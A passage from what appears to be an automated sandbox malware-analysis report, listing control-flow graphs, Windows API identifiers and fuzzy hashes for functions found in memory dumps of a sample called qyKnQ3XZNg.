                                                              control_flow_graph 1273 7ffd9ba65b39-7ffd9ba65b74 1275 7ffd9ba65e91-7ffd9ba65e9b 1273->1275 1276 7ffd9ba65b7a-7ffd9ba65b7f 1273->1276 1283 7ffd9ba65e9c-7ffd9ba65f0e 1275->1283 1277 7ffd9ba65b81-7ffd9ba65b84 1276->1277 1278 7ffd9ba65b8b-7ffd9ba65ba4 1276->1278 1277->1278 1279 7ffd9ba65ba6-7ffd9ba65bb6 1278->1279 1280 7ffd9ba65bb8-7ffd9ba65be5 1278->1280 1279->1280 1280->1283 1285 7ffd9ba65beb-7ffd9ba65bf6 1280->1285 1310 7ffd9ba65f10-7ffd9ba65f16 1283->1310 1311 7ffd9ba65f2b-7ffd9ba65f3c 1283->1311 1287 7ffd9ba65cb4-7ffd9ba65cb9 1285->1287 1288 7ffd9ba65bfc-7ffd9ba65c0a 1285->1288 1290 7ffd9ba65d4d-7ffd9ba65d57 1287->1290 1291 7ffd9ba65cbf-7ffd9ba65cc9 1287->1291 1288->1283 1292 7ffd9ba65c10-7ffd9ba65c21 1288->1292 1295 7ffd9ba65d79-7ffd9ba65d80 1290->1295 1296 7ffd9ba65d59-7ffd9ba65d64 1290->1296 1291->1283 1294 7ffd9ba65ccf-7ffd9ba65ce3 1291->1294 1297 7ffd9ba65c23-7ffd9ba65c46 1292->1297 1298 7ffd9ba65c89-7ffd9ba65ca0 1292->1298 1301 7ffd9ba65d83-7ffd9ba65d8d 1294->1301 1295->1301 1312 7ffd9ba65d6b-7ffd9ba65d77 1296->1312 1302 7ffd9ba65c4c-7ffd9ba65c5f 1297->1302 1303 7ffd9ba65ce8-7ffd9ba65ced 1297->1303 1298->1283 1299 7ffd9ba65ca6-7ffd9ba65cae 1298->1299 1299->1287 1299->1288 1301->1283 1306 7ffd9ba65d93-7ffd9ba65dab 1301->1306 1304 7ffd9ba65c63-7ffd9ba65c87 1302->1304 1303->1304 1304->1298 1315 7ffd9ba65cf2-7ffd9ba65cf5 1304->1315 1306->1283 1309 7ffd9ba65db1-7ffd9ba65dc9 1306->1309 1309->1283 1313 7ffd9ba65dcf-7ffd9ba65e03 1309->1313 1316 7ffd9ba65f71-7ffd9ba65ff9 1310->1316 1317 7ffd9ba65f18-7ffd9ba65f29 1310->1317 1318 7ffd9ba65f3e-7ffd9ba65f4b 1311->1318 1319 7ffd9ba65f4d-7ffd9ba65f70 1311->1319 1312->1295 1313->1283 1341 7ffd9ba65e09-7ffd9ba65e1c 1313->1341 1321 7ffd9ba65d0b-7ffd9ba65d18 1315->1321 1322 7ffd9ba65cf7-7ffd9ba65d07 1315->1322 1317->1310 1317->1311 1318->1319 1321->1283 1325 7ffd9ba65d1e-7ffd9ba65d4c 1321->1325 1322->1321 1343 7ffd9ba65e1e-7ffd9ba65e29 1341->1343 1344 7ffd9ba65e7f-7ffd9ba65e90 1341->1344 1343->1344 1347 7ffd9ba65e2b-7ffd9ba65e42 1343->1347 1351 7ffd9ba65e44-7ffd9ba65e4f 1347->1351 1352 7ffd9ba65e53-7ffd9ba65e75 1347->1352 1351->1352 1352->1344
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: d
                                                              • API String ID: 0-2564639436
                                                              • Opcode ID: 0b52f5f050169931c740325334fbe1b813aa20a3f9185fad5f7e3afec55c5de1
                                                              • Instruction ID: 294e14d3b75a0ab1749e22a8e19c5a88bdd7638502735d3f49bf785671e3d2c3
                                                              • Opcode Fuzzy Hash: 0b52f5f050169931c740325334fbe1b813aa20a3f9185fad5f7e3afec55c5de1
                                                              • Instruction Fuzzy Hash: D6F12370A0CA498FD71DEB18D8A59B577E0FF95310B1441BAD44ECB2A7DE34E842C781
                                                              Function 00007FFD9B88D2F5 Relevance: 1.7, APIs: 1, Instructions: 216fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1357 7ffd9b88d2f5-7ffd9b88d3c2 1360 7ffd9b88d3ea-7ffd9b88d48d WriteFile 1357->1360 1361 7ffd9b88d3c4-7ffd9b88d3e7 1357->1361 1362 7ffd9b88d495-7ffd9b88d4f1 1360->1362 1363 7ffd9b88d48f 1360->1363 1361->1360 1363->1362
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID: FileWrite
                                                              • String ID:
                                                              • API String ID: 3934441357-0
                                                              • Opcode ID: 8771d76e280be2110531d1adda421d49acc8ee3b5e45408cef6e81059dbc4772
                                                              • Instruction ID: c2b0f8ade9ca3bf972a892394ec69e652d878ea1d88c5d57b5832c8e7fc7b608
                                                              • Opcode Fuzzy Hash: 8771d76e280be2110531d1adda421d49acc8ee3b5e45408cef6e81059dbc4772
                                                              • Instruction Fuzzy Hash: F0611470A08A5C8FDB98DF58C895BE9BBF1FB69310F1041AED04DE3251DB74A985CB40
                                                              Function 00007FFD9B8F0897 Relevance: 1.6, APIs: 1, Instructions: 150threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1380 7ffd9b8f0897-7ffd9b8f08a0 1381 7ffd9b8f08ea-7ffd9b8f09b2 ResumeThread 1380->1381 1382 7ffd9b8f08a2-7ffd9b8f08c2 1380->1382 1386 7ffd9b8f09ba-7ffd9b8f0a04 1381->1386 1387 7ffd9b8f09b4 1381->1387 1387->1386
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID: ResumeThread
                                                              • String ID:
                                                              • API String ID: 947044025-0
                                                              • Opcode ID: e97bc67d37e1adc69a95020e022a8187266feff6ff24aa9bf067503bfc47e3cc
                                                              • Instruction ID: 03b4081b93a755a8bcdfc7d6560af590d0d0114845dbcc4fc35d74b79cfbfded
                                                              • Opcode Fuzzy Hash: e97bc67d37e1adc69a95020e022a8187266feff6ff24aa9bf067503bfc47e3cc
                                                              • Instruction Fuzzy Hash: 09412874E0861C8FDB98EFA8D895AEDBBF0FB59310F10416AD40DE7252DB71A946CB40
                                                              Function 00007FFD9B88EC91 Relevance: 1.6, APIs: 1, Instructions: 144COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1390 7ffd9b88ec91-7ffd9b88ecad 1393 7ffd9b88ecaf 1390->1393 1394 7ffd9b88ecb0-7ffd9b88ed83 GetSystemInfo 1390->1394 1393->1394 1398 7ffd9b88ed85 1394->1398 1399 7ffd9b88ed8b-7ffd9b88edbb 1394->1399 1398->1399
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID: InfoSystem
                                                              • String ID:
                                                              • API String ID: 31276548-0
                                                              • Opcode ID: aa73f3114aaf8046d54aaa1916e906f50d92ecf97fbeaea3163cd80217de1dda
                                                              • Instruction ID: 27325d0080aad960ae6bc191741cc247138f1352f1fe7dae5208ddf54bf4eb54
                                                              • Opcode Fuzzy Hash: aa73f3114aaf8046d54aaa1916e906f50d92ecf97fbeaea3163cd80217de1dda
                                                              • Instruction Fuzzy Hash: 7741B17090DA8C8FDB59DFA8D859BE9BBF1EF5A310F0441ABD04DD72A2CA345946CB00
                                                              Function 00007FFD9BA6AE29 Relevance: 1.6, Strings: 1, Instructions: 363COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1402 7ffd9ba6ae29-7ffd9ba6ae2c 1403 7ffd9ba6ae5e-7ffd9ba6ae62 1402->1403 1404 7ffd9ba6ae2e-7ffd9ba6b19b 1402->1404 1406 7ffd9ba6ae64-7ffd9ba6ae68 1403->1406 1407 7ffd9ba6aeae-7ffd9ba6aec4 1403->1407 1408 7ffd9ba6b1a5 1404->1408 1406->1408 1409 7ffd9ba6af54-7ffd9ba6af84 1407->1409 1410 7ffd9ba6aeca-7ffd9ba6aed2 1407->1410 1411 7ffd9ba6b1af-7ffd9ba6b1ee 1408->1411 1419 7ffd9ba6b02e-7ffd9ba6b037 1409->1419 1420 7ffd9ba6af8a-7ffd9ba6af8b 1409->1420 1410->1411 1412 7ffd9ba6aed8-7ffd9ba6aeea 1410->1412 1426 7ffd9ba6b1f0 1411->1426 1412->1411 1414 7ffd9ba6aef0-7ffd9ba6af07 1412->1414 1416 7ffd9ba6af09-7ffd9ba6af10 1414->1416 1417 7ffd9ba6af47-7ffd9ba6af4e 1414->1417 1416->1411 1421 7ffd9ba6af16-7ffd9ba6af44 1416->1421 1417->1409 1417->1410 1424 7ffd9ba6b16f-7ffd9ba6b195 1419->1424 1425 7ffd9ba6b03d-7ffd9ba6b043 1419->1425 1423 7ffd9ba6af8e-7ffd9ba6afa4 1420->1423 1421->1417 1423->1411 1427 7ffd9ba6afaa-7ffd9ba6afce 1423->1427 1425->1411 1429 7ffd9ba6b049-7ffd9ba6b058 1425->1429 1432 7ffd9ba6b1fb-7ffd9ba6b203 1426->1432 1430 7ffd9ba6b021-7ffd9ba6b028 1427->1430 1431 7ffd9ba6afd0-7ffd9ba6aff3 call 7ffd9ba66ff0 1427->1431 1433 7ffd9ba6b162-7ffd9ba6b169 1429->1433 1434 7ffd9ba6b05e-7ffd9ba6b065 1429->1434 1430->1419 1430->1423 1431->1411 1441 7ffd9ba6aff9-7ffd9ba6b01f 1431->1441 1436 7ffd9ba6b291 1432->1436 1433->1424 1433->1425 1434->1411 1437 7ffd9ba6b06b-7ffd9ba6b077 call 7ffd9ba66ff0 1434->1437 1442 7ffd9ba6b29c-7ffd9ba6b2df 1436->1442 1443 7ffd9ba6b07c-7ffd9ba6b087 1437->1443 1441->1430 1441->1431 1454 7ffd9ba6b2e1-7ffd9ba6b3e7 call 7ffd9baacb18 1442->1454 1444 7ffd9ba6b089-7ffd9ba6b0a0 1443->1444 1445 7ffd9ba6b0c6-7ffd9ba6b0d5 1443->1445 1444->1411 1446 7ffd9ba6b0a6-7ffd9ba6b0c2 1444->1446 1445->1411 1447 7ffd9ba6b0db-7ffd9ba6b0ff 1445->1447 1446->1444 1449 7ffd9ba6b0c4 1446->1449 1450 7ffd9ba6b102-7ffd9ba6b11f 1447->1450 1452 7ffd9ba6b142-7ffd9ba6b158 1449->1452 1450->1411 1453 7ffd9ba6b125-7ffd9ba6b140 1450->1453 1452->1411 1456 7ffd9ba6b15a-7ffd9ba6b15e 1452->1456 1453->1450 1453->1452 1474 7ffd9ba6b4cc-7ffd9ba6b4db 1454->1474 1475 7ffd9ba6b517-7ffd9ba6b534 1454->1475 1456->1433 1476 7ffd9ba6b828-7ffd9ba6b839 1474->1476 1477 7ffd9ba6b841-7ffd9ba6ba18 1475->1477 1478 7ffd9ba6b53a-7ffd9ba6b549 1475->1478 1476->1477 1478->1474 1479 7ffd9ba6b54b-7ffd9ba6b54f 1478->1479 1479->1454 1481 7ffd9ba6b555 1479->1481 1483 7ffd9ba6b5d3-7ffd9ba6b5e0 1481->1483 1483->1476 1484 7ffd9ba6b557-7ffd9ba6b572 call 7ffd9ba6b1e0 1483->1484 1484->1483
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: v0_H
                                                              • API String ID: 0-241126901
                                                              • Opcode ID: 99df2c854dc35bf084aa79afad80603ce628faa470d85207d854fc95c6b046e6
                                                              • Instruction ID: 43f32e473fc0fd578d8baa121c4e498d36c58f3fd153242b57a3018c4fb0818a
                                                              • Opcode Fuzzy Hash: 99df2c854dc35bf084aa79afad80603ce628faa470d85207d854fc95c6b046e6
                                                              • Instruction Fuzzy Hash: AAD1D270619949CFEB58CF58C0E16B437A1FF45300B9546BDC85ACB69BC678F982CB80
                                                              Function 00007FFD9BA6AE6F Relevance: 1.6, Strings: 1, Instructions: 331COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1487 7ffd9ba6ae6f-7ffd9ba6ae78 1488 7ffd9ba6b1af-7ffd9ba6b1ee 1487->1488 1489 7ffd9ba6ae7e-7ffd9ba6ae8f 1487->1489 1502 7ffd9ba6b1f0 1488->1502 1490 7ffd9ba6ae91-7ffd9ba6ae95 1489->1490 1491 7ffd9ba6aea5-7ffd9ba6aeac 1489->1491 1490->1488 1492 7ffd9ba6ae9b-7ffd9ba6aea3 1490->1492 1493 7ffd9ba6ae64-7ffd9ba6b1a5 1491->1493 1494 7ffd9ba6aeae-7ffd9ba6aec4 1491->1494 1492->1491 1493->1488 1497 7ffd9ba6af54-7ffd9ba6af84 1494->1497 1498 7ffd9ba6aeca-7ffd9ba6aed2 1494->1498 1508 7ffd9ba6b02e-7ffd9ba6b037 1497->1508 1509 7ffd9ba6af8a-7ffd9ba6af8b 1497->1509 1498->1488 1500 7ffd9ba6aed8-7ffd9ba6aeea 1498->1500 1500->1488 1503 7ffd9ba6aef0-7ffd9ba6af07 1500->1503 1505 7ffd9ba6b1fb-7ffd9ba6b203 1502->1505 1506 7ffd9ba6af09-7ffd9ba6af10 1503->1506 1507 7ffd9ba6af47-7ffd9ba6af4e 1503->1507 1510 7ffd9ba6b291 1505->1510 1506->1488 1511 7ffd9ba6af16-7ffd9ba6af44 1506->1511 1507->1497 1507->1498 1513 7ffd9ba6b16f-7ffd9ba6b195 1508->1513 1514 7ffd9ba6b03d-7ffd9ba6b043 1508->1514 1512 7ffd9ba6af8e-7ffd9ba6afa4 1509->1512 1517 7ffd9ba6b29c-7ffd9ba6b2df 1510->1517 1511->1507 1512->1488 1516 7ffd9ba6afaa-7ffd9ba6afce 1512->1516 1514->1488 1519 7ffd9ba6b049-7ffd9ba6b058 1514->1519 1520 7ffd9ba6b021-7ffd9ba6b028 1516->1520 1521 7ffd9ba6afd0-7ffd9ba6aff3 call 7ffd9ba66ff0 1516->1521 1531 7ffd9ba6b2e1-7ffd9ba6b3e7 call 7ffd9baacb18 1517->1531 1522 7ffd9ba6b162-7ffd9ba6b169 1519->1522 1523 7ffd9ba6b05e-7ffd9ba6b065 1519->1523 1520->1508 1520->1512 1521->1488 1530 7ffd9ba6aff9-7ffd9ba6b01f 1521->1530 1522->1513 1522->1514 1523->1488 1526 7ffd9ba6b06b-7ffd9ba6b077 call 7ffd9ba66ff0 1523->1526 1532 7ffd9ba6b07c-7ffd9ba6b087 1526->1532 1530->1520 1530->1521 1560 7ffd9ba6b4cc-7ffd9ba6b4db 1531->1560 1561 7ffd9ba6b517-7ffd9ba6b534 1531->1561 1534 7ffd9ba6b089-7ffd9ba6b0a0 1532->1534 1535 7ffd9ba6b0c6-7ffd9ba6b0d5 1532->1535 1534->1488 1536 7ffd9ba6b0a6-7ffd9ba6b0c2 1534->1536 1535->1488 1537 7ffd9ba6b0db-7ffd9ba6b0ff 1535->1537 1536->1534 1539 7ffd9ba6b0c4 1536->1539 1540 7ffd9ba6b102-7ffd9ba6b11f 1537->1540 1542 7ffd9ba6b142-7ffd9ba6b158 1539->1542 1540->1488 1543 7ffd9ba6b125-7ffd9ba6b140 1540->1543 1542->1488 1545 7ffd9ba6b15a-7ffd9ba6b15e 1542->1545 1543->1540 1543->1542 1545->1522 1562 7ffd9ba6b828-7ffd9ba6b839 1560->1562 1563 7ffd9ba6b841-7ffd9ba6ba18 1561->1563 1564 7ffd9ba6b53a-7ffd9ba6b549 1561->1564 1562->1563 1564->1560 1565 7ffd9ba6b54b-7ffd9ba6b54f 1564->1565 1565->1531 1567 7ffd9ba6b555 1565->1567 1569 7ffd9ba6b5d3-7ffd9ba6b5e0 1567->1569 1569->1562 1570 7ffd9ba6b557-7ffd9ba6b572 call 7ffd9ba6b1e0 1569->1570 1570->1569
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: v0_H
                                                              • API String ID: 0-241126901
                                                              • Opcode ID: bd09da179e6261a458dcd20a5e467b3404e2a7222f0e21c81ba011682e02f62c
                                                              • Instruction ID: a7955f308cb603f470cb702a133ba4b1680c93c2d8bb9bea6efdfc38dc919369
                                                              • Opcode Fuzzy Hash: bd09da179e6261a458dcd20a5e467b3404e2a7222f0e21c81ba011682e02f62c
                                                              • Instruction Fuzzy Hash: 77C1E1B061994ACFEB19CF54C0E16B537A1FF45300B9145BDC85B8B69BCA78F542CB80
                                                              Function 00007FFD9BA6A73D Relevance: 1.6, Strings: 1, Instructions: 306COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1573 7ffd9ba6a73d-7ffd9ba6a76e call 7ffd9ba6a4a0 1577 7ffd9ba6a7a0-7ffd9ba6a7e4 call 7ffd9ba6a4a0 1573->1577 1578 7ffd9ba6a770-7ffd9ba6a799 call 7ffd9ba6a370 1573->1578 1593 7ffd9ba6a854-7ffd9ba6a890 call 7ffd9ba67200 1577->1593 1594 7ffd9ba6a7e6-7ffd9ba6a7fa call 7ffd9ba6a370 1577->1594 1586 7ffd9ba6a79f 1578->1586 1587 7ffd9ba6a925-7ffd9ba6a936 1578->1587 1586->1577 1588 7ffd9ba6a93d-7ffd9ba6a947 1587->1588 1589 7ffd9ba6a938 1587->1589 1590 7ffd9ba6a949-7ffd9ba6a962 call 7ffd9ba6a4a0 1588->1590 1589->1588 1598 7ffd9ba6a968-7ffd9ba6a96f 1590->1598 1599 7ffd9ba6a9f5-7ffd9ba6aa0c 1590->1599 1616 7ffd9ba6a8c9-7ffd9ba6a8d0 call 7ffd9ba67000 1593->1616 1594->1587 1603 7ffd9ba6a800-7ffd9ba6a823 call 7ffd9ba6a4a0 1594->1603 1602 7ffd9ba6a999-7ffd9ba6a9a1 1598->1602 1610 7ffd9ba6aa0f-7ffd9ba6aa1d 1599->1610 1611 7ffd9ba6aa0e 1599->1611 1607 7ffd9ba6a9a3-7ffd9ba6a9a9 1602->1607 1608 7ffd9ba6a971-7ffd9ba6a98d 1602->1608 1603->1599 1619 7ffd9ba6a829-7ffd9ba6a839 1603->1619 1614 7ffd9ba6a9d2 1607->1614 1615 7ffd9ba6a9ab-7ffd9ba6a9bf 1607->1615 1608->1599 1612 7ffd9ba6a98f-7ffd9ba6a997 1608->1612 1617 7ffd9ba6aa1f 1610->1617 1618 7ffd9ba6aa25 1610->1618 1611->1610 1612->1602 1614->1599 1620 7ffd9ba6a9c1 1615->1620 1621 7ffd9ba6a9c6-7ffd9ba6a9d0 1615->1621 1626 7ffd9ba6a8d5-7ffd9ba6a8da 1616->1626 1617->1618 1623 7ffd9ba6aa29-7ffd9ba6aa68 1618->1623 1624 7ffd9ba6aa27 1618->1624 1619->1599 1625 7ffd9ba6a83f-7ffd9ba6a852 1619->1625 1620->1621 1621->1614 1627 7ffd9ba6aa69 1623->1627 1631 7ffd9ba6aa6a-7ffd9ba6acaa 1623->1631 1624->1623 1624->1627 1625->1593 1625->1594 1629 7ffd9ba6a892-7ffd9ba6a8b2 1626->1629 1630 7ffd9ba6a8dc-7ffd9ba6a8de 1626->1630 1627->1631 1629->1599 1632 7ffd9ba6a8b8-7ffd9ba6a8c3 1629->1632 1630->1587 1633 7ffd9ba6a8e0-7ffd9ba6a8e3 1630->1633 1632->1615 1632->1616 1634 7ffd9ba6a8e9-7ffd9ba6a904 1633->1634 1635 7ffd9ba6a8e5 1633->1635 1634->1599 1637 7ffd9ba6a90a-7ffd9ba6a923 call 7ffd9ba6a370 1634->1637 1635->1634 1637->1587 1637->1590
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: [H
                                                              • API String ID: 0-3313097121
                                                              • Opcode ID: 98efa7cae99dc224d9ed72fa11bf280c3263bd32a2e2b100207d53f6d71db951
                                                              • Instruction ID: e5ab296c96741733be19e76d28539982b68c5e24f1a3225a488b713c1495af66
                                                              • Opcode Fuzzy Hash: 98efa7cae99dc224d9ed72fa11bf280c3263bd32a2e2b100207d53f6d71db951
                                                              • Instruction Fuzzy Hash: 9BB116B060DA4ECFE759DB68C4A06A4BBA1FF15300F5542BAC04EC7A97DB68F951C780
                                                              Function 00007FFD9B88F0F5 Relevance: 1.4, APIs: 1, Instructions: 196memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: 481aa21ea36a93e58bd74b24e1fe2f81e18ac748c746aac2d28e01ffd06631c7
                                                              • Instruction ID: b345e5ca4987f0a91a9eac674286a394fb96d988336fcd13e7cf7976b312c1ce
                                                              • Opcode Fuzzy Hash: 481aa21ea36a93e58bd74b24e1fe2f81e18ac748c746aac2d28e01ffd06631c7
                                                              • Instruction Fuzzy Hash: 2D513974918A5C8FDF98DF58C895BE9BBF0FB69310F1042AAD04DE3251DB70A981CB81
                                                              Function 00007FFD9BA6ABDD Relevance: 1.4, Strings: 1, Instructions: 162COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: aada2f9fb468a82f5cb4fd316f8011049d94f322ab3e10fdb09e02da132d6637
                                                              • Instruction ID: 30ffda26993257bb91e836179b63fa1655c6f91690086a0207a0d069abe0fc09
                                                              • Opcode Fuzzy Hash: aada2f9fb468a82f5cb4fd316f8011049d94f322ab3e10fdb09e02da132d6637
                                                              • Instruction Fuzzy Hash: 72517BB1E0964ECFDB69DBD8D4606BDB7B1FF58300F1141BAD01AE72A6DA742A01CB40
                                                              Function 00007FFD9BA70518 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: a9c1264a998b80db9d46de98f7aebd48b226b39769c2e3f9774e6cce93e6f7d8
                                                              • Instruction ID: 8cb0e1125e6730721e3671bacda5769c439e569b33d872cea0cfef29e2f9015d
                                                              • Opcode Fuzzy Hash: a9c1264a998b80db9d46de98f7aebd48b226b39769c2e3f9774e6cce93e6f7d8
                                                              • Instruction Fuzzy Hash: 53517F71E0D64E8FDB69CB98C4B45ADBBB1FF54704F1140BAD019972A2DAB46901CB44
                                                              Function 00007FFD9BA63A3B Relevance: 1.4, Strings: 1, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: 12466efa849d6ec87bf7832e6b262c5bd549a84b7546ac02eefb76568fad8332
                                                              • Instruction ID: a5a9796562c126fe4acaad673578d4a68fd0791a0ada4738c16dff6cd2c8510d
                                                              • Opcode Fuzzy Hash: 12466efa849d6ec87bf7832e6b262c5bd549a84b7546ac02eefb76568fad8332
                                                              • Instruction Fuzzy Hash: 735160B1E0A64ECFDB59DB98C4615BDB7F1EF54300F1541BEC01AE72A2CA792A02CB41
                                                              Function 00007FFD9BA6AB5A Relevance: 1.4, Strings: 1, Instructions: 137COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: 7a62778a619b857ed5fb89275c374c374acbf4cb36795a7e40e1b009388f4300
                                                              • Instruction ID: 81925e978488956cdc737ab7cc051c490d7e5efb3eebcaa0e4a434480029b806
                                                              • Opcode Fuzzy Hash: 7a62778a619b857ed5fb89275c374c374acbf4cb36795a7e40e1b009388f4300
                                                              • Instruction Fuzzy Hash: E1417EB1E0964ECFEB69DBA8C4646ADB7B1FF54300F1541BAD019D72A6DA782A01CB40
                                                              Function 00007FFD9BA6AA8B Relevance: 1.3, Strings: 1, Instructions: 77COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: 09665feb792df627255ddcc290f8f52f11a6506e7e5f852c10f18deb625b9e47
                                                              • Instruction ID: e28fbf9be9fdcd62d6b878eb2d57c7f175b0188fb4d99acebdb356024e5b1cab
                                                              • Opcode Fuzzy Hash: 09665feb792df627255ddcc290f8f52f11a6506e7e5f852c10f18deb625b9e47
                                                              • Instruction Fuzzy Hash: B42171B1E0950ECFEB68DBD8C4645BDB7B1FF54300F55417AD01A976E2EA7429018B40
                                                              Function 00007FFD9BA619B0 Relevance: .7, Instructions: 688COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: d3214ea98ec7fc328ee999875156ea6c6bc8faa87f172fba653a3c1dddc13817
                                                              • Instruction ID: 23838394280da42544556fb833d0ad6f558f53b72a6a981c6b8f6c20b19ee17a
                                                              • Opcode Fuzzy Hash: d3214ea98ec7fc328ee999875156ea6c6bc8faa87f172fba653a3c1dddc13817
                                                              • Instruction Fuzzy Hash: FE32B570B19A0DCFDBA8DB58C8A5AB877E2FF64314B1141B9D00DC72A2DE64ED45CB80
                                                              Function 00007FFD9BA60F29 Relevance: .5, Instructions: 520COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: ecdd48f4f62fd320a99448f957197c1d83ab311b874b9cf87de548dd43617871
